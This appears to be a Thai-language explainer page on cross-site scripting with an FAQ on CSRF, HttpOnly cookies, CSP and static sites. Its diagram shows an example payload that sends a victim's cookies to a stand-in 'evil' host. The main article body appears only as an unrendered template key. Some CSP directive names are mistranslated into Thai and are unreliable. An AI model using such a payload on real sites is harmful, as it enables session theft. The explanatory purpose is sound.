trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

การเขียนสคริปต์ข้ามไซต์ (XSS)

11 นาทีอ่านความปลอดภัย

การเขียนสคริปต์ข้ามไซต์คือช่องโหว่ที่ผู้โจมตีแทรก JavaScript ที่ทำงานอยู่ในเบราว์เซอร์ของผู้ใช้รายอื่นราวกับว่าเป็นส่วนหนึ่งของไซต์ที่ถูกต้องตามกฎหมาย ความเสียหายมีตั้งแต่การขโมยคุกกี้เซสชันไปจนถึงการเรียก API ในนามของเหยื่อ XSS อยู่ใน OWASP Top 10 มาสองทศวรรษแล้ว และไม่มีทีท่าว่าจะจากไป

เนื้อหาบทความฉบับเต็มมีให้เป็นภาษาอังกฤษด้านล่าง

pages.learningArticles.cross-site-scripting.bodyHtml

คำถามที่พบบ่อย

XSS ยังเกี่ยวข้องอยู่หรือไม่
ใช่. แบบสำรวจล่าสุดของ OWASP แสดง XSS ในเกือบทุกเว็บแอปพลิเคชัน เฟรมเวิร์กสมัยใหม่ได้ลดความถี่ลง แต่แอปรุ่นเก่า โค้ดที่กำหนดเอง และ Edge Case ที่ยาวเหยียดทำให้ XSS เป็นหนึ่งในช่องโหว่บนเว็บที่ได้รับการรายงานมากที่สุด แพลตฟอร์มรางวัลข้อบกพร่องจะเห็นรายงาน XSS หลายร้อยรายการต่อสัปดาห์
XSS และ CSRF แตกต่างกันอย่างไร?
XSS แทรกโค้ดที่เป็นอันตรายลงในไซต์ที่เชื่อถือได้ โดยดำเนินการตามสิทธิ์ของไซต์ CSRF (การปลอมแปลงคำขอข้ามไซต์) หลอกเบราว์เซอร์ของเหยื่อให้ส่งคำขอไปยังไซต์ที่เชื่อถือได้จากแหล่งที่มาอื่น โดยใช้เซสชันของเหยื่อ ฟังดูคล้ายกัน แต่มีกลไกและการป้องกันที่แตกต่างกัน
คุกกี้ HttpOnly ป้องกัน XSS หรือไม่
บางส่วน. HttpOnly ป้องกัน JavaScript จากการอ่านคุกกี้ผ่าน document.cookie ซึ่งเอาชนะการโจมตีการกรองคุกกี้ เพย์โหลด XSS ยังคงสามารถสร้างคำขอที่มีการตรวจสอบสิทธิ์ได้ เนื่องจากเบราว์เซอร์จะส่งคุกกี้โดยอัตโนมัติ — HttpOnly หยุดความเสียหายระดับหนึ่งโดยเฉพาะ ไม่ใช่การโจมตีในวงกว้าง
CSP สามารถกำจัด XSS โดยสิ้นเชิงได้หรือไม่
CSP ที่เข้มงวด (ไม่อิงตาม ไม่มี 'ไม่ปลอดภัยในบรรทัด' หรือ 'ประเมินไม่ปลอดภัย') เป็นสิ่งที่ใกล้เคียงที่สุด มันไม่ได้ป้องกันการฉีดเอง แต่จะป้องกันไม่ให้เพย์โหลดที่ฉีดดำเนินการ เมื่อรวมกับการ Escape เอาต์พุตในแอปพลิเคชัน CSP ที่เข้มงวดจะทำให้การใช้ประโยชน์จาก XSS ในทางปฏิบัติทำได้ยากมาก
ไซต์คงที่มีภูมิคุ้มกันหรือไม่
ไม่ทั้งหมด XSS ที่ใช้ DOM ยังคงใช้งานได้บนไซต์คงที่ หาก JS ฝั่งไคลเอ็นต์ใช้พารามิเตอร์ URL อย่างไม่ปลอดภัย ไซต์ Pure-HTML ที่ไม่มี JavaScript จะไม่มี XSS "ไซต์แบบคงที่" ที่ทันสมัยที่สุดใช้ JavaScript เพียงพอซึ่ง XSS อาจเป็นปัญหาที่เป็นไปได้ (แม้ว่าจะพบได้ยาก)
อธิบายการเขียนสคริปต์ข้ามไซต์ (XSS): ช่องโหว่ภายในทุกเว็บแอป